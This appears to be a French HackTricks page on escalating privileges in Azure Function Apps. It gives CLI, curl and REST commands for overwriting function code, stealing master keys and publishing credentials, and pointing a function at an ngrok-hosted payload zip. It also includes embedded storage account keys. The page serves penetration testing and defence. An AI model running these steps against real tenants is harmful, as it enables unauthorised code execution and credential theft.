Az - Functions App Privesc
Reading time: 17 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Function Apps
Consultez la page suivante pour plus d'informations :
Bucket Read/Write
Avec des permissions pour lire les conteneurs à l'intérieur du compte de stockage qui stocke les données de la fonction, il est possible de trouver différents conteneurs (personnalisés ou avec des noms prédéfinis) qui pourraient contenir le code exécuté par la fonction.
Une fois que vous avez trouvé où le code de la fonction est situé, si vous avez des permissions d'écriture dessus, vous pouvez faire exécuter à la fonction n'importe quel code et élever les privilèges aux identités gérées attachées à la fonction.
File Share
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
etWEBSITE_CONTENTSHARE
)
Le code de la fonction est généralement stocké à l'intérieur d'un partage de fichiers. Avec suffisamment d'accès, il est possible de modifier le fichier de code et de faire charger à la fonction un code arbitraire, permettant d'élever les privilèges aux identités gérées attachées à la fonction.
Cette méthode de déploiement configure généralement les paramètres WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
et WEBSITE_CONTENTSHARE
que vous pouvez obtenir à partir de
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Ces configurations contiendront la clé du compte de stockage que la fonction peut utiliser pour accéder au code.
caution
Avec suffisamment de permissions pour se connecter au partage de fichiers et modifier le script en cours d'exécution, il est possible d'exécuter du code arbitraire dans la fonction et d'escalader les privilèges.
L'exemple suivant utilise macOS pour se connecter au partage de fichiers, mais il est recommandé de consulter également la page suivante pour plus d'informations sur les partages de fichiers :
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases
(WEBSITE_RUN_FROM_PACKAGE
)
Il est également courant de trouver les zip releases à l'intérieur du dossier function-releases
du conteneur du compte de stockage que l'application de fonction utilise dans un conteneur généralement appelé function-releases
.
En général, cette méthode de déploiement définira la configuration WEBSITE_RUN_FROM_PACKAGE
dans :
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Cette configuration contiendra généralement une SAS URL pour télécharger le code depuis le compte de stockage.
caution
Avec suffisamment de permissions pour se connecter au conteneur blob qui contient le code en zip, il est possible d'exécuter du code arbitraire dans la fonction et d'escalader les privilèges.
github-actions-deploy
(WEBSITE_RUN_FROM_PACKAGE)
Tout comme dans le cas précédent, si le déploiement est effectué via Github Actions, il est possible de trouver le dossier github-actions-deploy
dans le compte de stockage contenant un zip du code et une SAS URL vers le zip dans le paramètre WEBSITE_RUN_FROM_PACKAGE
.
scm-releases
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
etWEBSITE_CONTENTSHARE
)
Avec des permissions pour lire les conteneurs à l'intérieur du compte de stockage qui stocke les données de la fonction, il est possible de trouver le conteneur scm-releases
. À l'intérieur, il est possible de trouver la dernière version au format Squashfs filesystem file format et donc il est possible de lire le code de la fonction :
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
Il est également possible de trouver les master and functions keys stockées dans le compte de stockage dans le conteneur azure-webjobs-secrets
à l'intérieur du dossier <app-name>
dans les fichiers JSON que vous pouvez y trouver.
caution
Avec suffisamment de permissions pour se connecter au conteneur blob qui contient le code dans un fichier d'extension zip (qui est en réalité un squashfs
), il est possible d'exécuter du code arbitraire dans la Fonction et d'escalader les privilèges.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
Cette autorisation permet de lister les clés de fonction, maître et système, mais pas la clé d'hôte, de la fonction spécifiée avec :
az functionapp keys list --resource-group <res_group> --name <func-name>
Avec la clé maître, il est également possible d'obtenir le code source dans une URL comme :
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
Et pour changer le code qui est exécuté dans la fonction avec :
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
Cette permission permet d'obtenir la clé d'hôte de la fonction spécifiée avec :
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Microsoft.Web/sites/host/functionKeys/write
Cette autorisation permet de créer/met à jour une clé de fonction de la fonction spécifiée avec :
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
Cette permission permet de créer/met à jour une clé maître pour la fonction spécifiée avec :
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
caution
N'oubliez pas qu'avec cette clé, vous pouvez également accéder au code source et le modifier comme expliqué précédemment !
Microsoft.Web/sites/host/systemKeys/write
Cette autorisation permet de créer/met à jour une clé de fonction système pour la fonction spécifiée avec :
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/config/list/action
Cette permission permet d'obtenir les paramètres d'une fonction. Dans ces configurations, il pourrait être possible de trouver les valeurs par défaut AzureWebJobsStorage
ou WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
qui contiennent une clé de compte pour accéder au stockage blob de la fonction avec des permissions COMPLETES.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
De plus, cette autorisation permet également d'obtenir le nom d'utilisateur et le mot de passe SCM (si activé) avec :
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/write
Ces permissions permettent de lister les valeurs de configuration d'une fonction comme nous l'avons vu précédemment, en plus de modifier ces valeurs. Cela est utile car ces paramètres indiquent où se trouve le code à exécuter à l'intérieur de la fonction.
Il est donc possible de définir la valeur du paramètre WEBSITE_RUN_FROM_PACKAGE
pointant vers un fichier zip d'URL contenant le nouveau code à exécuter à l'intérieur d'une application web :
- Commencez par obtenir la configuration actuelle
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Créez le code que vous souhaitez que la fonction exécute et hébergez-le publiquement.
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Modifiez la fonction, conservez les paramètres précédents et ajoutez à la fin la configuration
WEBSITE_RUN_FROM_PACKAGE
pointant vers l'URL contenant le zip avec le code.
L'exemple suivant montre mes propres paramètres que vous devrez modifier pour les vôtres, notez à la fin les valeurs "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"
, c'est là où j'hébergeais l'application.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
Avec cette autorisation, il est possible de modifier le code d'une application via la console web (ou via le point de terminaison API suivant) :
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
Microsoft.Web/sites/publishxml/action
, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
)
Cette autorisation permet de lister tous les profils de publication qui contiennent essentiellement des informations d'identification d'authentification de base :
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Une autre option serait de définir vos propres identifiants et de les utiliser avec :
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- Si les identifiants REDACTED
Si vous voyez que ces identifiants sont REDACTED, c'est parce que vous devez activer l'option d'authentification de base SCM et pour cela, vous avez besoin de la deuxième autorisation (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Méthode SCM
Ensuite, vous pouvez accéder avec ces identifiants d'authentification de base à l'URL SCM de votre application de fonction et obtenir les valeurs des variables d'environnement :
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Remarque que le nom d'utilisateur SCM est généralement le caractère "$" suivi du nom de l'application, donc : $<app-name>
.
Vous pouvez également accéder à la page web depuis https://<app-name>.scm.azurewebsites.net/BasicAuth
Les valeurs des paramètres contiennent la AccountKey du compte de stockage stockant les données de l'application de fonction, permettant de contrôler ce compte de stockage.
- Méthode FTP
Connectez-vous au serveur FTP en utilisant :
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Remarque que le nom d'utilisateur FTP est généralement au format <app-name>\$<app-name>.
Microsoft.Web/sites/hostruntime/vfs/read
Cette autorisation permet de lire le code source de l'application via le VFS :
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
Avec cette autorisation, il est possible de get the admin token qui peut ensuite être utilisé pour récupérer la master key et donc accéder et modifier le code de la fonction.
Cependant, lors de mes dernières vérifications, aucun token n'a été retourné, il se peut donc qu'il soit désactivé ou ne fonctionne plus, mais voici comment vous pourriez le faire :
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write
, (Microsoft.Web/sites/functions/properties/read
)
Cette permission permet de activer des fonctions qui pourraient être désactivées (ou de les désactiver).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
Il est également possible de voir si une fonction est activée ou désactivée à l'URL suivante (en utilisant la permission entre parenthèses) :
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write
, Microsoft.Web/sites/config/list/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/read
)
Avec ces autorisations, il est possible de modifier le conteneur exécuté par une application de fonction configurée pour exécuter un conteneur. Cela permettrait à un attaquant de télécharger une application de conteneur de fonction azure malveillante sur docker hub (par exemple) et de faire exécuter la fonction.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/operationresults/read
)
Avec ces autorisations, il est possible de lier une nouvelle identité gérée par l'utilisateur à une fonction. Si la fonction était compromise, cela permettrait d'escalader les privilèges à n'importe quelle identité gérée par l'utilisateur.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Débogage à distance
Il est également possible de se connecter pour déboguer une fonction Azure en cours d'exécution comme expliqué dans la documentation. Cependant, par défaut, Azure désactivera cette option après 2 jours au cas où le développeur oublierait d'éviter de laisser des configurations vulnérables.
Il est possible de vérifier si une fonction a le débogage activé avec :
az functionapp show --name <app-name> --resource-group <res-group>
Avoir la permission Microsoft.Web/sites/config/write
permet également de mettre une fonction en mode débogage (la commande suivante nécessite également les permissions Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/Read
et Microsoft.Web/sites/Read
).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Changer le dépôt Github
J'ai essayé de changer le dépôt Github d'où le déploiement a lieu en exécutant les commandes suivantes, mais même si cela a changé, le nouveau code n'a pas été chargé (probablement parce qu'il s'attend à ce que l'Action Github mette à jour le code).
De plus, la créance fédérée de l'identité gérée n'a pas été mise à jour permettant le nouveau dépôt, donc il semble que cela ne soit pas très utile.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.